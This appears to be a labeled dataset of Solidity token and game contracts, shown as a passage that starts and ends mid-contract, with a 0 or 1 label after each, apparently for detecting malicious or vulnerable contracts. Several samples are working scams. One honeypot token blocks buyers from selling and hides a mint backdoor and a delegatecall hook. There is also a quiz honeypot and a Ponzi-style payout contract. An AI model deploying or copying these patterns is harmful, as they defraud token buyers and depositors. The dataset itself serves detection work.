address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PaySell is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "PaySell";
name = "PaySell Coin";
decimals = 8;
_totalSupply =10000000000000000000;
balances[0xF5952e18B14160cB788dD2C92Dc1a511df6f4e5E] = _totalSupply;
emit Transfer(address(0), 0xF5952e18B14160cB788dD2C92Dc1a511df6f4e5E, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
contract WealthRedistributionProject {
struct BenefactorArray {
address etherAddress;
uint amount;
}
BenefactorArray[] public benefactor;
uint public balance = 0;
uint public totalBalance = 0;
function() {
enter();
}
function enter() {
if (msg.value != 1 ether) {
msg.sender.send(msg.value);
return;
}
uint transactionAmount;
uint k = 0;
uint total_inv = benefactor.length;
benefactor.length += 1;
benefactor[total_inv].etherAddress = msg.sender;
benefactor[total_inv].amount = msg.value;
balance += msg.value;
while (k<total_inv)
{
transactionAmount = msg.value * benefactor[k].amount / totalBalance;
benefactor[k].etherAddress.send(transactionAmount);
balance -= transactionAmount;
k += 1;
}
totalBalance += msg.value;
}
} | 1 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assertCheck(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assertCheck(b > 0);
uint256 c = a / b;
assertCheck(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assertCheck(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assertCheck(c>=a && c>=b);
return c;
}
function assertCheck(bool assertion) internal pure {
require(assertion == true);
}
}
contract SWAP is SafeMath{
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public owner;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function setName(string _name) onlyOwner public returns (string){
name = _name;
return name;
}
function setSymbol(string _symbol) onlyOwner public returns (string){
symbol = _symbol;
return symbol;
}
function setDecimals(uint256 _decimals) onlyOwner public returns (uint256){
decimals = _decimals;
return decimals;
}
function getOwner() view public returns(address){
return owner;
}
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Withdraw(address to, uint amount);
constructor() public payable {
balanceOf[msg.sender] = 100000000000*10**18;
totalSupply = balanceOf[msg.sender];
name = 'SWAP';
symbol = 'SWAP';
decimals = 18;
owner = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal{
require(_to != 0x0);
require(_value > 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public payable returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool success) {
require(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
payable {
require (_to != 0x0) ;
require (_value > 0);
require (balanceOf[_from] >= _value) ;
require (balanceOf[_to] + _value >= balanceOf[_to]) ;
require (_value <= allowance[_from][msg.sender]) ;
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require (_value > 0) ;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply,_value);
emit Burn(msg.sender, _value);
return true;
}
function create(uint256 _value) public onlyOwner returns (bool success) {
require (_value > 0) ;
totalSupply = SafeMath.safeAdd(totalSupply,_value);
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
return true;
}
function withdraw() external onlyOwner{
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
emit Withdraw(msg.sender,address(this).balance);
}
function() private payable {
}
} | 1 |
pragma solidity ^0.4.15;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenSPERT {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
function tokenSPERT (string _name, string _symbol, uint8 _decimals){
name = _name;
symbol = _symbol;
decimals = _decimals;
}
mapping (address => uint256) public balanceOf;
function () {
throw;
}
}
contract Presale is owned, tokenSPERT {
string name = 'Pre-sale Eristica Token';
string symbol = 'SPERT';
uint8 decimals = 18;
function Presale ()
tokenSPERT (name, symbol, decimals){}
event Transfer(address _from, address _to, uint256 amount);
event Burned(address _from, uint256 amount);
function mintToken(address investor, uint256 mintedAmount) public onlyOwner {
balanceOf[investor] += mintedAmount;
totalSupply += mintedAmount;
Transfer(this, investor, mintedAmount);
}
function burnTokens(address _owner) public
onlyOwner
{
uint tokens = balanceOf[_owner];
if(balanceOf[_owner] == 0) throw;
balanceOf[_owner] = 0;
totalSupply -= tokens;
Burned(_owner, tokens);
}
}
library SafeMath {
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint public totalSupply = 0;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) constant returns (uint);
function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract EristicaICO {
using SafeMath for uint;
uint public constant Tokens_For_Sale = 482500000*1e18;
uint public Rate_Eth = 458;
uint public Token_Price = 50 * Rate_Eth;
uint public Sold = 0;
event LogStartICO();
event LogPauseICO();
event LogFinishICO(address bountyFund, address advisorsFund, address teamFund, address challengeFund);
event LogBuyForInvestor(address investor, uint ertValue, string txHash);
event LogReplaceToken(address investor, uint ertValue);
ERT public ert = new ERT(this);
Presale public presale;
address public Company;
address public BountyFund;
address public AdvisorsFund;
address public TeamFund;
address public ChallengeFund;
address public Manager;
address public Controller_Address1;
address public Controller_Address2;
address public Controller_Address3;
modifier managerOnly { require(msg.sender == Manager); _; }
modifier controllersOnly { require((msg.sender == Controller_Address1) || (msg.sender == Controller_Address2) || (msg.sender == Controller_Address3)); _; }
uint bountyPart = 150;
uint advisorsPart = 389;
uint teamPart = 1000;
uint challengePart = 1000;
uint icoAndPOfPart = 7461;
enum StatusICO { Created, Started, Paused, Finished }
StatusICO statusICO = StatusICO.Created;
function EristicaICO(address _presale, address _Company, address _BountyFund, address _AdvisorsFund, address _TeamFund, address _ChallengeFund, address _Manager, address _Controller_Address1, address _Controller_Address2, address _Controller_Address3){
presale = Presale(_presale);
Company = _Company;
BountyFund = _BountyFund;
AdvisorsFund = _AdvisorsFund;
TeamFund = _TeamFund;
ChallengeFund = _ChallengeFund;
Manager = _Manager;
Controller_Address1 = _Controller_Address1;
Controller_Address2 = _Controller_Address2;
Controller_Address3 = _Controller_Address3;
}
function setRate(uint _RateEth) external managerOnly {
Rate_Eth = _RateEth;
Token_Price = 50*Rate_Eth;
}
function startIco() external managerOnly {
require(statusICO == StatusICO.Created || statusICO == StatusICO.Paused);
LogStartICO();
statusICO = StatusICO.Started;
}
function pauseIco() external managerOnly {
require(statusICO == StatusICO.Started);
statusICO = StatusICO.Paused;
LogPauseICO();
}
function finishIco() external managerOnly {
require(statusICO == StatusICO.Started);
uint alreadyMinted = ert.totalSupply();
uint totalAmount = alreadyMinted * 10000 / icoAndPOfPart;
ert.mint(BountyFund, bountyPart * totalAmount / 10000);
ert.mint(AdvisorsFund, advisorsPart * totalAmount / 10000);
ert.mint(TeamFund, teamPart * totalAmount / 10000);
ert.mint(ChallengeFund, challengePart * totalAmount / 10000);
ert.defrost();
statusICO = StatusICO.Finished;
LogFinishICO(BountyFund, AdvisorsFund, TeamFund, ChallengeFund);
}
function() external payable {
buy(msg.sender, msg.value * Token_Price);
}
function buyForInvestor(address _investor, uint _ertValue, string _txHash) external controllersOnly {
buy(_investor, _ertValue);
LogBuyForInvestor(_investor, _ertValue, _txHash);
}
function replaceToken(address _investor) managerOnly{
require(statusICO != StatusICO.Finished);
uint spertTokens = presale.balanceOf(_investor);
require(spertTokens > 0);
presale.burnTokens(_investor);
ert.mint(_investor, spertTokens);
LogReplaceToken(_investor, spertTokens);
}
function buy(address _investor, uint _ertValue) internal {
require(statusICO == StatusICO.Started);
require(_ertValue > 0);
require(Sold + _ertValue <= Tokens_For_Sale);
ert.mint(_investor, _ertValue);
Sold = Sold.add(_ertValue);
}
function withdrawEther(uint256 _value) external managerOnly {
require(statusICO == StatusICO.Finished);
Company.transfer(_value);
}
}
contract ERT is ERC20 {
using SafeMath for uint;
string public name = "Eristica TOKEN";
string public symbol = "ERT";
uint public decimals = 18;
address public ico;
event Burn(address indexed from, uint256 value);
bool public tokensAreFrozen = true;
modifier icoOnly { require(msg.sender == ico); _; }
function ERT(address _ico) {
ico = _ico;
}
function mint(address _holder, uint _value) external icoOnly {
require(_value != 0);
balances[_holder] = balances[_holder].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(0x0, _holder, _value);
}
function defrost() external icoOnly {
tokensAreFrozen = false;
}
function burn(uint256 _value) {
require(!tokensAreFrozen);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool) {
require(!tokensAreFrozen);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) returns (bool) {
require(!tokensAreFrozen);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) returns (bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
} | 0 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata_extraData) external;
}
contract TheAfllictorcoin {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.25;
contract QUEST_Xz
{
function Try(string _response) external payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string _question, string _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(_response);
question = _question;
}
}
function Stop() public payable isAdmin {
msg.sender.transfer(this.balance);
}
function New(string _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] admins) public{
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(msg.sender)]);
_;
}
function() public payable{}
} | 1 |
pragma solidity ^0.4.15;
contract Coin {
string public constant symbol = "BTRC";
string public constant name = "BITUBER";
uint8 public constant decimals = 18;
uint256 public _totalSupply = 0;
uint256 public price = 1500;
bool private workingState = false;
bool private transferAllowed = false;
address public owner;
address private cur_coin;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) private etherClients;
event FundsGot(address indexed _sender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event ContractEnabled();
event ContractDisabled();
event TransferEnabled();
event TransferDisabled();
event CurrentCoin(address coin);
event Refund(address client, uint256 amount);
event TokensSent(address client, uint256 amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier ownerAndCoin {
require((msg.sender == owner)||(msg.sender == cur_coin));
_;
}
modifier workingFlag {
require(workingState == true);
_;
}
modifier transferFlag {
require(transferAllowed == true);
_;
}
function Coin() public payable {
owner = msg.sender;
enableContract();
}
function refund(address _client, uint256 _amount, uint256 _tokens) public workingFlag ownerAndCoin {
transferFrom(_client, address(this), _tokens);
_client.transfer(_amount);
Refund(_client, _amount);
}
function kill() public onlyOwner {
require(workingState == false);
selfdestruct(owner);
}
function setCurrentCoin(address current) public onlyOwner workingFlag {
cur_coin = current;
CurrentCoin(cur_coin);
}
function enableContract() public onlyOwner {
workingState = true;
ContractEnabled();
}
function disableContract() public onlyOwner {
workingState = false;
ContractDisabled();
}
function contractState() public view returns (string state) {
if (workingState) {
state = "Working";
}
else {
state = "Stopped";
}
}
function enableTransfer() public onlyOwner {
transferAllowed = true;
TransferEnabled();
}
function disableTransfer() public onlyOwner {
transferAllowed = false;
TransferDisabled();
}
function transferState() public view returns (string state) {
if (transferAllowed) {
state = "Working";
}
else {
state = "Stopped";
}
}
function generateTokens(address _client, uint256 _amount) public ownerAndCoin workingFlag {
if (_client == address(this)) {
balances[address(this)] += _amount;
_totalSupply += _amount;
}
else
{
if (balances[address(this)] >= _amount)
{
transferFrom(address(this), _client, _amount);
}
else
{
uint256 de = _amount - balances[address(this)];
transferFrom(address(this), _client, balances[address(this)]);
_totalSupply += de;
balances[_client] += de;
}
}
TokensSent(_client, _amount);
}
function setPrice(uint256 _price) public onlyOwner {
price = _price;
}
function getPrice() public view returns (uint256 _price) {
_price = price;
}
function () public workingFlag payable {
bool ret = cur_coin.call(bytes4(keccak256("pay(address,uint256,uint256)")), msg.sender, msg.value, price);
ret;
}
function totalSupply() public constant workingFlag returns (uint256 totalsupply) {
totalsupply = _totalSupply;
}
function balanceOf(address _owner) public constant workingFlag returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public workingFlag returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to])
{
if ((msg.sender == address(this))||(_to == address(this))) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
if (transferAllowed == true) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public workingFlag returns (bool success) {
if ((msg.sender == cur_coin)||(msg.sender == owner)) {
allowed[_from][msg.sender] = _value;
}
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to])
{
if ((_from == address(this))||(_to == address(this))) {
balances[msg.sender] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
else {
if (transferAllowed == true) {
balances[msg.sender] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
}
else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 |
pragma solidity ^0.4.2;
contract MadoffCoin{string public standard='Token 0.1';string public name;string public symbol;uint8 public decimals;uint256 public totalSupply;address public owner; address [] public users; mapping(address=>uint256)public balanceOf; string public filehash; mapping(address=>mapping(address=>uint256))public allowance;event Transfer(address indexed from,address indexed to,uint256 value);modifier onlyOwner(){if(owner!=msg.sender) {throw;} else{ _; } }
function MadoffCoin(){owner=0x7add3a2feed0b7e42c99732099323a005e74f003; address firstOwner=owner;balanceOf[firstOwner]=25000000;totalSupply=25000000;name='MadoffCoin';symbol='^'; filehash= ''; decimals=0;msg.sender.send(msg.value); }
function transfer(address _to,uint256 _value){if(balanceOf[msg.sender]<_value)throw;if(balanceOf[_to]+_value < balanceOf[_to])throw; balanceOf[msg.sender]-=_value; balanceOf[_to]+=_value;Transfer(msg.sender,_to,_value); }
function approve(address _spender,uint256 _value) returns(bool success){allowance[msg.sender][_spender]=_value;return true;}
function collectExcess()onlyOwner{owner.send(this.balance-2100000);}
function(){
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29376000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xa7FEE9d303B2856244E7216f87fEB0fCEE50dD09;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.8;
contract FederatedOracleBytes8 {
struct Voter {
bool isVoter;
bool hasVoted;
}
event VoterAdded(address account);
event VoteSubmitted(address account, bytes8 value);
event ValueFinalized(bytes8 value);
mapping(address => Voter) public voters;
mapping(bytes8 => uint8) public votes;
uint8 public m;
uint8 public n;
bytes8 public finalValue;
uint8 private voterCount;
address private creator;
function FederatedOracleBytes8(uint8 m_, uint8 n_) {
creator = msg.sender;
m = m_;
n = n_;
}
function addVoter(address account) {
if (msg.sender != creator) {
throw;
}
if (voterCount == n) {
throw;
}
var voter = voters[account];
if (voter.isVoter) {
throw;
}
voter.isVoter = true;
voterCount++;
VoterAdded(account);
}
function submitValue(bytes8 value) {
var voter = voters[msg.sender];
if (!voter.isVoter) {
throw;
}
if (voter.hasVoted) {
throw;
}
voter.hasVoted = true;
votes[value]++;
VoteSubmitted(msg.sender, value);
if (votes[value] == m) {
finalValue = value;
ValueFinalized(value);
}
}
}
library ByteBracket {
function getBracketScore(bytes8 bracket, bytes8 results, uint64 filter)
constant
returns (uint8 points)
{
uint8 roundNum = 0;
uint8 numGames = 32;
uint64 blacklist = (uint64(1) << numGames) - 1;
uint64 overlap = uint64(~(bracket ^ results));
while (numGames > 0) {
uint64 scores = overlap & blacklist;
points += popcount(scores) << roundNum;
blacklist = pairwiseOr(scores & filter);
overlap >>= numGames;
filter >>= numGames;
numGames /= 2;
roundNum++;
}
}
function getScoringMask(bytes8 results) constant returns (uint64 mask) {
bytes8 bitSelector = 1 << 62;
for (uint i = 0; i < 31; i++) {
mask <<= 2;
if (results & bitSelector != 0) {
mask |= 1;
} else {
mask |= 2;
}
results <<= 1;
}
}
function pairwiseOr(uint64 bits) internal returns (uint64) {
uint64 tmp;
tmp = (bits ^ (bits >> 1)) & 0x22222222;
bits ^= (tmp ^ (tmp << 1));
tmp = (bits ^ (bits >> 2)) & 0x0c0c0c0c;
bits ^= (tmp ^ (tmp << 2));
tmp = (bits ^ (bits >> 4)) & 0x00f000f0;
bits ^= (tmp ^ (tmp << 4));
tmp = (bits ^ (bits >> 8)) & 0x0000ff00;
bits ^= (tmp ^ (tmp << 8));
uint64 evens = bits >> 16;
uint64 odds = bits % 0x10000;
return evens | odds;
}
function popcount(uint64 bits) internal returns (uint8) {
bits -= (bits >> 1) & 0x5555555555555555;
bits = (bits & 0x3333333333333333) + ((bits >> 2) & 0x3333333333333333);
bits = (bits + (bits >> 4)) & 0x0f0f0f0f0f0f0f0f;
return uint8(((bits * 0x0101010101010101) & 0xffffffffffffffff) >> 56);
}
}
contract MarchMadness {
struct Submission {
bytes32 commitment;
bytes8 bracket;
uint8 score;
bool collectedWinnings;
bool collectedEntryFee;
}
event SubmissionAccepted(address account);
event NewWinner(address winner, uint8 score);
event TournamentOver();
FederatedOracleBytes8 resultsOracle;
mapping(address => Submission) submissions;
uint public winnings;
uint public numWinners;
uint64 private scoringMask;
uint public entryFee;
